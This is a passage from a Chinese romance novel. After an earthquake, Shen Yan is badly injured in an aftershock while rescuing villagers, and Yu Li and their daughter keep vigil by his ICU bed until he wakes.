喻梨便对星星说:“星星,还记得沈清阿姨和佑佑哥哥吗,他们想看看你,你跟她们报个平安好不好?” 星星有点不理解‘报平安’的意思,但听到‘佑佑’哥哥,眼睛一亮,重重点头。 沈砚看一眼喻梨,拨通视频后将手机递给星星。 星星抱着手机,看视频里的人,一眼看到沙发上做得端端正正的许佑,开心地叫人:“佑佑哥哥。” 沙发上,许佑坐在沈母跟沈清中间,看见星星也笑了:“星星妹妹。” 星星光是听他说话,就有些脸红害羞,不知道该说些什么,看一眼大伯,又看一眼妈妈。 喻梨余光瞥见视频里,目光有些热切的沈母,有些许不自在,稍稍偏过头。 沈砚看她一眼,蹲下身,给女儿介绍:“这是清清姑姑。” 星星被沈砚圈着,就稍微靠着沈砚脖颈,甜甜地跟着叫人:“清清姑姑。” 沈清看到小姑娘一点伤都没受,一颗心彻底安定下来:“星星好。” “这是……奶奶。”沈砚贴着女儿的耳朵,嗓音有些轻,说完,抬眸忘了喻梨一眼。 喻梨抱着手臂,偏头,似乎有些尴尬。 但很快听见星星叫人:“奶奶好。” 沈母眼眶有点红,跟着担心了一晚上,这会儿看见孩子没事,还能甜甜的叫人,心都要化了,应了一声,赶紧说:“星星好。” 星星更害羞了,扭头搂着沈砚的脖子,躲进沈砚怀里。 但沈清引着她说话,问她妈妈怎么样,她也会看一眼喻梨回答,然后奶声奶气地回答:“妈妈在我旁边……” 大人小孩断断续续聊了几句,喻梨在边上听着,没什么情绪的样子,明白这样一场突如其来的灾难,大人们应该什么都顾不得了,只剩担心。 但挂完电话时,沈砚看她一眼,还是感激地跟她说了声‘谢谢’。 喻梨没垂眸,没有多说什么。 村长过来找喻梨。 说有两三户人家房子塌了,清点人数,人不在,应该是没逃出来,政府的救援队伍又在别处,听说他先生带了几个有救援经验的人过来,能不能一起去看看,帮帮忙,看能不能尽快把人救出来,否则拖晚了,没啥希望。 沈砚听完,便说:“你带星星去车里休息,我带人跟村长去看看。” 喻梨点了点头。 沈砚很快将分发物质的手下召集起来,走得时候,喻梨唇张了张,想叮嘱他小心些,注意安全之类的,但不知道为什么,望着他挺拔的背影,唇张了好几次,都没有说出口。 她带星星把剩余的一些吃的,分给周围避难的村民。 星星昨晚到底睡不好,打了好几个呵欠,喻梨就带她去沈砚开来的车内休息。 她几乎一夜没睡,放下车内躺椅,抱着星星一块儿陷入睡眠。 恍恍惚惚,喻梨做了梦。 梦里,沈砚身材高大,俊脸伤感又自嘲,垂眸说:“我知道,你一直希望死得那个是我。” 是那年的气话。 她其实已经忘了。 没想到他还记得那样清楚。 她张了张唇,想解释,但沈砚已经走远了。 喻梨抬手想抓住他。 梦境忽然剧烈晃动。 她惊醒,发现不是梦,车身的确在晃动。 是余震。 星星也醒了,揉了揉眼睛,问她:“妈妈,大伯呢?” 不知道为什么,喻梨心跳很快,整个人有些莫名的心慌,稳了稳心神跟女儿解释:“大伯去救人了。” 星星‘喔’了一声。 喻梨看一眼手机,忽然想给沈砚打电话,问问救援情况怎么样。 但手机显示,信号又中断了。 应该是余震引起的。 喻梨心狠狠一跳,想起自己的梦境,心慌得厉害。 像是某种不详的预兆…… 很快的,预兆得到应验。 因为余震,沈砚带去的救援队伍,被压在倒塌的房屋之下。 喻梨呆滞,整个人几乎是麻的,村长跟她说的时候,几乎不敢去看她脸色。 过了很久,看见ICU里,躺着的沈砚,喻梨才想起反驳他。 像木偶一般喃喃道:“我没有。” “都是气话。” “你不要当真。” 但沈砚听不见了。 他身上插满了管子,氧气罩下,一张脸苍白又冰凉。 像那年躺在棺材里的沈廷屹,无声无息的,只有周围抢救的机器是运转的,发出轻微的声响,像是提醒她,他还有一 线生机。 “颅内出血” “多发性肋骨骨折” “腹部闭合性损伤” ‘……’ 沈清第一时间组织好的医疗团队说着陌生又刺耳的字眼,沈砚在icu整整躺了一个多星期,每当他周围的机器发出刺耳的蜂鸣声,就会赶来一大批医生护士,再一次将他推进手术室急救。 喻梨在那一个星期里显得麻木且沉默,常常抱着星星坐在医院的走廊上,不知道在想什么。 沈清很难过。 那一个星期看她的目光复杂,愤怒又可怜。 很难不将处于弟弟处于死亡边缘的原因归咎于她。 她已经失去一个弟弟,如今又是沈砚…… 她甚至不敢告诉母亲阿砚的事,怕她受不了。 但看见她怀里的星星,沈清又心软。 让人提醒她带星星休息,大人可以熬,孩子不能跟着熬。 喻梨就带星星去休息。 但第二天,她又固执得抱着星星坐在医院的走廊上,守着沈砚。 沈清叹口气,更难受。 一个星期后,沈砚情况终于稳定下来,虽然依旧是昏迷状态,至少可以脱离ICU了。 沈清稍微松一口气,靠着丈夫许志恒的肩膀,眼泪激动得啪嗒啪嗒往下掉。 但弟弟仍然昏迷不醒,医生解释说是颅内损伤的缘故,什么时候醒,看患者自己意志了。 家属要注意多跟病人说说话。 沈清就让许佑多跟舅舅说说话。 来得最多的是喻梨跟星星。 但喻梨很多时间很沉默,大部分时间是星星跟沈砚说话。 小姑娘像个小话痨,一会儿跟沈砚说:“爸爸,你看,这是我做得剪纸,漂不漂亮。” 一会儿要求沈砚:“爸爸,我想骑脖子。” 一会儿趴在沈砚耳边:“爸爸,昨晚上妈妈跟我讲,你不是我大伯,是我的真爸爸,爸爸、爸爸,你醒醒好不好,星星好想你啊……” 戴着呼吸器的沈砚无动于衷,星星就很失望,看一眼病房里的喻梨,默默走回到她身边,仰着小脸问她:“爸爸会醒吗?” 喻梨摸摸女儿的脑袋:“会的。” 不知道是安慰他,还是安慰自己。 一个多月后,星星要开学了。 喻梨不能再待在北城。 要带星星回幼儿园报道。 收拾行李的头天晚上,她跟星星在沈砚病房待到很晚。 夜深人静,连星星都熬不住困意,在病房的沙发上睡着了。 喻梨坐在沈砚旁边,发呆。 她常常这样,不知道可以跟沈砚说什么,只能发呆。 但今晚,也许是因为要短暂分别,喻梨忽然有诉说的欲望,但不知道如何开口。 等星星睡着了,她抱膝坐在沈砚旁边,想了很久才缓缓说:“没有讨厌你。” “不知道从什么时候开始的,但是真的没有讨厌过你了,但这种感觉让我更自厌,所以要刻意把你推得很远。” “我好像一直装出潇洒的样子,但是其实很多事没有放下,总是活在过去……” “这一年多,星星因为你,性格自信开朗了很多,我都一直没有跟你讲过,你是个很好的爸爸,星星很喜欢你。” “……” “沈砚,原来我比自己想象的需要你。” “你听见了吗?沈砚,我跟星星都很需要你,所以,你醒一醒好不好?” 说完,喻梨忍不住去触碰他手指,但沈砚依然安安静静的,毫无反应。 喻梨便又沉默了。 第二日,喻梨带星星去机场。 10点多的飞机,星星问她:“什么时候回来看爸爸?” 喻梨耐心回答她:“每周。我们每周都回来看爸爸。” 星星点点头。 快登机时,喻梨手机响,是沈清打电话给她。 喻梨挂完电话,就抱着女儿折返。 电话里,沈清的声音是激动又哽咽的:“他醒了,第一个想见的人是你。” 喻梨牵着女儿的手走到虚弱的沈砚面前时,才发现自己在掉泪。 沈砚抬手,似乎想擦掉她脸上的眼泪,用低微的声音说:“对不起,又害你掉眼泪。” 喻梨根本忍不住,哭得厉害。 “但是我好像听见了。”沈砚微笑。 “听见什么?” “你说你需要我。”【你现在阅读的是 】